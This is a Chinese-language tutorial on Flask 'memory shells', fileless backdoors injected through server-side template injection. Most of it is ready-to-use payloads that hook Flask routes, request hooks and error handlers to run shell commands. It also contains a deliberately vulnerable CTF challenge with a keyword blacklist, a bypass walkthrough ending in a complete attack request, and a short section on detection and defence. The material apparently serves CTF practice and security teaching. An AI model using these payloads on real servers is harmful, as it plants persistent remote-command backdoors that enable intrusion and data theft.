前言

内存马（Memory Shell）是一种无文件后门技术。传统 webshell 需要落地一个 .php / .jsp / .py 文件到服务器磁盘，容易被杀软和日志发现。而内存马只存在于进程内存中——注入到框架的路由表、中间件链、错误处理器等位置，不留文件痕迹。

Flask 的内存马尤其适合在 SSTI（Server-Side Template Injection） 场景下使用。一旦拿到 SSTI，不再需要逐条执行命令——只需把后门注入到 Flask 的运行时结构中，后续任何 HTTP 请求都可以触发。

本文覆盖 Flask 内存马的 七种写入方式，附带完整 payload 和绕过黑名单的实战案例。

一、前置知识

1.1 add_url_rule —— Flask 动态路由注册

Flask 的路由注册本质上是调用 add_url_rule。@app.route('/path') 只是语法糖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask

app = Flask(__name__)

# 装饰器写法（语法糖）
@app.route('/hello')
def hello():
    return "Hello"

# ↑ 等价于 ↓

# 底层写法
def hello():
    return "Hello"
app.add_url_rule('/hello', 'hello', hello)
# 参数: (路由URL, 端点名称, 视图函数)
参数 含义
rule URL 规则，如 '/shell'、'/admin/<cmd>'
endpoint 端点名称（别名），用于 url_for('endpoint') 反向查找
view_func 处理该路由的函数

关键： add_url_rule 可以在应用启动后随时调用，不需要重启。这就是第一种内存马入口。

1.2 before_request_funcs —— 请求前置钩子

before_request_funcs 是一个字典，存储所有在请求到达路由函数之前执行的钩子函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from flask import Flask

app = Flask(__name__)

# 装饰器写法
@app.before_request
def hook1():
    print("钩子1执行")

# ↑ 等价于 ↓

# 底层字典操作
def hook1():
    print("钩子1执行")
app.before_request_funcs.setdefault(None, []).append(hook1)

# 查看当前钩子
print(app.before_request_funcs)
# 输出: {None: [<function hook1 at 0x...>]}

# 清空钩子
app.before_request_funcs[None].clear()

字典结构：

1
2
3
4
{
    None: [hook1, hook2, ...],       # None = 全局（不限蓝图）
    'blueprint_name': [hook3, ...],   # 某个蓝图专属
}

Flask 的 @app.before_request 装饰器本质上就是往这个字典的 None 键对应的列表里追加函数。理解这一点后，内存马注入就是直接操作这个字典。

二、SSTI 注入内存马的前提

2.1 实验环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def home():
    person = "NO ARG"
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h2>%s!</h2>' % person
    return render_template_string(template)
    #                                  ↑
    #                    直接将用户输入拼入模板 → SSTI


if __name__ == "__main__":
    print("Listening on port 5000.")
    app.run()

存在 SSTI 漏洞：?name={{7*7}} 返回 49。

2.2 如何拿到 app 对象

SSTI 中无法直接使用 app 变量。需要通过 Jinja2 的对象链获取：

1
2
3
4
5
6
# 最常用的入口
url_for.__globals__['current_app']
# 或
config.__class__.__init__.__globals__['current_app']
# 或
get_flashed_messages.__globals__['current_app']

同样，request 对象需要：

1
url_for.__globals__['request']

三、七种内存马写入方式

3.1 add_url_rule —— 注册隐藏路由（经典）

最简单直接的方式：注册一个新的路由，访问即可执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
?name={{url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
    '/shell',
    'shell',
    lambda: __import__('os').popen(
        _request_ctx_stack.top.request.args.get('cmd', 'whoami')
    ).read()
)",
{
    '_request_ctx_stack': url_for.__globals__['_request_ctx_stack'],
    'app': url_for.__globals__['current_app']
}
)}}

payload 拆解：

部分 说明
eval(code, globals) 第一个参数是要执行的 Python 代码字符串，第二个参数是全局命名空间字典
_request_ctx_stack.top.request 获取当前请求的 request 对象（不能直接用 request，因为 eval 的作用域里没有它）
{'app': ..., '_request_ctx_stack': ...} 把 app 和 _request_ctx_stack 注入 eval 的全局空间

为什么用 _request_ctx_stack.top.request 而不是直接 request？

_request_ctx_stack 是 Flask 内部维护的请求上下文栈。_request_ctx_stack.top 返回栈顶的请求上下文，.request 就是当前请求对象。直接写 request 在 eval() 的全局作用域中不存在，会报 NameError。

注入后效果： 访问 http://target:5000/shell?cmd=cat+/flag → 返回命令执行结果。

注意： 服务器重启后内存马消失。新版 Flask 可能限制 add_url_rule 在启动后调用。

3.2 before_request_funcs —— 所有请求前的拦截器

在请求处理链最前端植入后门——每次请求任何路由都会触发。

1
2
3
4
5
6
7
8
9
10
?name={{url_for.__globals__['__builtins__']['eval'](
"app.before_request_funcs.setdefault(None, []).append(
    lambda: __import__('os').popen(
        __import__('flask').request.args.get('cmd', 'whoami')
    ).read()
)",
{
    'app': url_for.__globals__['current_app']
}
)}}

注入后效果： 访问 http://target:5000/?cmd=ls → 返回 ls 结果（无论访问哪个页面，只要 URL 里带 cmd 参数）。

缺点： 会影响正常业务——每个请求都会被执行。如果 URL 不带 cmd 参数，popen('whoami') 默认执行也会扰乱正常响应。

改进版（只在有 cmd 参数时触发）：

1
2
3
lambda: __import__('os').popen(
    __import__('flask').request.args.get('cmd')
).read() if __import__('flask').request.args.get('cmd') else None

3.3 after_request_funcs —— 响应返回前注入

after_request 注册的钩子在视图函数处理完之后、响应返回给客户端之前执行。特殊规则： 钩子函数必须接收一个响应对象作为参数，并且必须返回一个响应对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
?name={{url_for.__globals__['__builtins__']['eval'](
"app.after_request_funcs.setdefault(None, []).append(
    lambda resp: CmdResp if request.args.get('cmd') and
        exec('global CmdResp;CmdResp=__import__(\"flask\").make_response(
            __import__(\"os\").popen(request.args.get(\"cmd\")).read()
        )') == None
    else resp
)",
{
    'request': url_for.__globals__['request'],
    'app': url_for.__globals__['current_app']
}
)}}

payload 拆解：

1
2
3
4
5
lambda resp:
    CmdResp                      # 执行命令的结果响应
    if request.args.get('cmd')   # 如果有 cmd 参数
        and exec("...") == None  # 执行命令并赋值给 CmdResp，exec 总返回 None
    else resp                    # 没有 cmd 参数则返回原始响应

关键技巧： exec() 的返回值永远是 None，所以 exec(...) == None 恒为 True。用 global CmdResp 在 exec 中声明全局变量，然后用三元表达式根据条件返回不同响应。

3.4 teardown_request_funcs —— 响应发送后执行

teardown_request 和 after_request 很像，但执行时机不同：

钩子 执行时机
before_request 请求到达路由前
after_request 视图函数返回后、响应发送前
teardown_request 响应发送给客户端之后

teardown_request 不能修改响应（已经发出去了），但适合执行无回显命令（如写文件、弹 shell）。

1
2
3
4
5
6
7
8
9
10
11
12
# payload 1：简单版（无回显）
?name={{url_for.__globals__['__builtins__']['eval'](
"app.teardown_request_funcs.setdefault(None, []).append(
    lambda a: __import__('os').popen(
        __import__('flask').request.args.get('cmd')
    ).read()
)",
{
    'app': url_for.__globals__['current_app'],
    'request': url_for.__globals__['request']
}
)}}&cmd=ls>/tmp/1.txt
1
2
3
4
5
6
7
8
9
# payload 2：通过 sys.modules 拿到 app（避免直接访问 app）
?name={{url_for.__globals__['__builtins__']['eval'](
"__import__('sys').modules['__main__'].__dict__['app'].
    teardown_request_funcs.setdefault(None, []).append(
        lambda a: __import__('os').popen(
            __import__('flask').request.args.get('cmd')
        ).read()
    )"
)}}&cmd=ls>1.txt

lambda a: 中的参数 a 是 Flask 传入的异常对象（如果没有异常则为 None）。即使不用，函数签名必须有。

3.5 teardown_appcontext_funcs —— 应用上下文销毁时执行

和 teardown_request 类似，但它在应用上下文被销毁时（请求完全结束后）执行。

1
2
3
?name=app.teardown_appcontext_funcs.append(
    lambda a: __import__('os').popen('ls').read()
)

⚠️ 注意： teardown_appcontext 注册的函数执行时，request 对象已经被销毁（请求上下文已弹出），因此 **不能使用 flask.request**。如果需要在 payload 中使用 request，用 teardown_request 代替。

3.6 error_handler_spec —— 劫持错误处理器

将某个 HTTP 错误码（如 404）的处理器替换为恶意函数。访问一个不存在的路径即可触发。

1
2
3
4
5
6
7
8
9
10
?name={{ url_for.__globals__.__builtins__.exec(
"global exc_class; global code;
 exc_class, code = app._get_exc_class_and_code(404);
 app.error_handler_spec[None][code][exc_class] =
     lambda a: __import__('os').popen(request.args.get('cmd')).read()",
{
    'request': url_for.__globals__['request'],
    'app': url_for.__globals__['current_app']
})
}}

payload 拆解：

1
2
3
4
5
6
7
8
# app._get_exc_class_and_code(404)
# → 返回 (NotFound异常类, 404状态码)

exc_class, code = app._get_exc_class_and_code(404)

# app.error_handler_spec[None][code][exc_class] = 恶意函数
# 结构: {None: {404: {NotFound: handler_func}}}
# 含义: 触发 404 → 不返回默认错误页面 → 改为执行命令

覆盖任意状态码：

1
2
3
4
5
# 覆盖 500
exc_class, code = app._get_exc_class_and_code(500)

# 覆盖 403
exc_class, code = app._get_exc_class_and_code(403)

优点： 不影响正常路由的请求，只有在触发特定错误码时执行命令。非常隐蔽。

3.7 view_functions + url_map —— 终极路由注入

view_functions 是 Flask 内部存储路由名称 → 处理函数映射的字典。url_map 是路由规则表。同时操作两者就可以完整地注册一个新路由。

1
2
3
4
5
6
7
8
9
10
11
# 方式一：直接更新 view_functions（需要路由已存在）
?name={{url_for.__globals__.__builtins__.exec(
"app.view_functions.update({
    'shell': lambda: __import__('os').popen(
        __import__('flask').request.args.get('cmd')
    ).read()
})",
{
    'app': url_for.__globals__['current_app']
}
)}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 方式二：完整版——同时添加路由规则和视图函数
?name={{url_for.__globals__.__builtins__.exec(
"app.url_map.add(
    app.url_rule_class('/test', methods=['GET'], endpoint='shell')
);
app.view_functions.update({
    'shell': lambda: __import__('os').popen(
        __import__('flask').request.args.get('cmd')
    ).read()
})",
{
    'request': url_for.__globals__['request'],
    'app': url_for.__globals__['current_app']
})
}}

结构关系：

1
2
3
4
5
app.url_map          ← 路由规则表 (URL → endpoint)
    └── url_rule_class('/path', methods=['GET'], endpoint='xxx')

app.view_functions   ← 视图函数表 (endpoint → function)
    └── {'xxx': lambda: ...}

两个字典一起操作，比 add_url_rule 更底层、更灵活。

四、七种方式对比总结

方式 触发时机 是否影响正常业务 隐蔽性 兼容性
add_url_rule 访问指定路由 否 ★★☆ 新版 Flask 可能受限
before_request_funcs 每次请求 是（可改进） ★☆☆ 全版本
after_request_funcs 视图函数返回后 否（条件触发） ★★★ 全版本
teardown_request_funcs 响应发送后 否 ★★★ 全版本
teardown_appcontext_funcs 应用上下文销毁时 否 ★★★☆ 全版本（但无 request）
error_handler_spec 触发指定错误码 否 ★★★★ 全版本
view_functions + url_map 访问指定路由 否 ★★☆ 全版本

五、绕过黑名单实战

5.1 题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from flask import Flask, request, render_template_string
import socket
import threading
import re

app = Flask(__name__)

blacklist = [
    '/', 'flag', 'cat', '+', 'base', 'attr', 'before_request', 'setdefault',
    'cycler', 'set', 'ls', 'response', 'eval', 'chmod', 'session', 'format',
    'self', 'mro', 'subclasses', 'chr', 'ord', 'config', 'getitem', 'teardown',
    'module', '__init__', '__loader__', '_request_ctx_stack', 'string', 'cp',
    '_update', 'add', 'after_request', 'system', 'open', 'socket', '*', '?', '>',
    'mv', 'file', 'write', 'env', 'join', 'static', '@', 'sleep', 'urllib'
]


@app.route('/')
def index():
    return "这里没有flag"


@app.route('/challenge', methods=['POST'])
def rce():
    cmd = request.form.get('try', '')
    for word in blacklist:
        pattern = r'(^|[^\w]){}([^\w]|$)'.format(re.escape(word))
        if re.search(pattern, cmd):
            return "执行失败"
    return '执行成功' if render_template_string(cmd) is not None else '?'


class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break
            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data

            response = (
                b"HTTP/1.1 200 OK\r\n"
                b"Content-Length: " + str(len(body)).encode() + b"\r\n"
                b"Content-Type: text/html; charset=utf-8\r\n"
                b"\r\n" + body
            )
            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()


def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server running on {host}:{port}, forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            thread = threading.Thread(
                target=proxy_handler.handle_request,
                args=(client_socket,)
            )
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()


def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)


if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    proxy_thread = threading.Thread(
        target=start_proxy_server,
        args=(proxy_host, proxy_port, target_host, target_port)
    )
    proxy_thread.daemon = True
    proxy_thread.start()
    run_flask_app()

5.2 黑名单分析

被禁掉的关键词：

类别 被禁词 影响
核心函数 eval, system, open 不能直接调用
钩子名 before_request, after_request, teardown, setdefault 不能操作钩子字典
对象链 mro, subclasses, __init__, __loader__, config 不能遍历子类
上下文 _request_ctx_stack 不能获取 request
字符串操作 chr, ord, join, format, string 不能拼接绕过
其他 add, _update, url_for, session, socket —

5.3 绕过思路

1. 获取 request 对象

_request_ctx_stack 被禁，但可以通过其他方式拿 request：

1
2
3
4
5
6
# 通过 Flask 内部的 request 上下文
url_for.__globals__['request']
# → url_for 被禁

# 替代方案：找 Flask 内部引用了 request 的对象
# 例如 g、current_app 的某些属性

2. 用 exec 代替 eval

eval 被禁但 exec 没有被禁：

1
2
# eval(code, globals) → exec(code, globals)
url_for.__globals__['__builtins__']['exec'](code, globals)

3. 用 __getitem__ 代替 []

getitem 被禁（注意是 getitem 不是 __getitem__），意味着 dict[key] 下标访问仍然可用。

4. 用 view_functions 注入（不用 add）

add 被禁 → 不能用 add_url_rule。但 view_functions.update() 没有被每一个单独禁掉。只需要 update：

1
app.view_functions.update({'shell': lambda: ...})

但 update 在 _update 黑名单里（虽然匹配规则是边界匹配），需要验证是否能绕过正则。

5. 用 error_handler_spec（完全不受影响）

error_handler_spec、_get_exc_class_and_code、exc_class、error 都不在黑名单中。最可能成功的路径：

1
2
3
4
5
6
7
8
9
10
# 绕过版本——不出现被禁词
?name={{url_for.__globals__.__builtins__.exec(
"global e;global c;
 e,c=app._get_exc_class_and_code(404);
 app.error_handler_spec[None][c][e]=
     lambda a:__import__('os').popen(
         __import__('flask').request.args.get('x')
     ).read()",
{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})
}}

e 和 c 是短变量名，不会被黑名单匹配（黑名单是边界匹配，e 和 c 作为独立 token 不在列表中）。

5.4 绕过后的完整攻击

1
2
3
4
POST /challenge HTTP/1.1
Content-Type: application/x-www-form-urlencoded

try={{url_for.__globals__.__builtins__.exec("global e;global c;e,c=app._get_exc_class_and_code(404);app.error_handler_spec[None][c][e]=lambda a:__import__('os').popen(__import__('flask').request.args.get('x')).read()",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

注入后，访问任意不存在路径 + x 参数触发：

1
GET /this_does_not_exist?x=cat+/flag HTTP/1.1

六、内存马的对抗与防护

6.1 检测方法

方法 命令/操作
检查 view_functions print(app.view_functions) — 查看是否有异常路由
检查 before_request_funcs print(app.before_request_funcs) — 查看是否有异常钩子
检查 error_handler_spec print(app.error_handler_spec) — 查看 404 等处理器是否被替换
检查 url_map print(list(app.url_map.iter_rules())) — 查看是否有隐藏路由

6.2 防护措施

层面 措施
SSTI 修复 使用 render_template 替代 render_template_string，不要将用户输入拼入模板
沙箱 禁掉 Jinja2 的 __globals__、__builtins__ 等危险属性访问
应用层 WAF 在 before_request 中检测是否有人试图通过 SSTI 注入钩子，观察 app.before_request_funcs 的变化
最小权限 不要用 root 运行 Flask，限制 os.popen 等系统调用

参考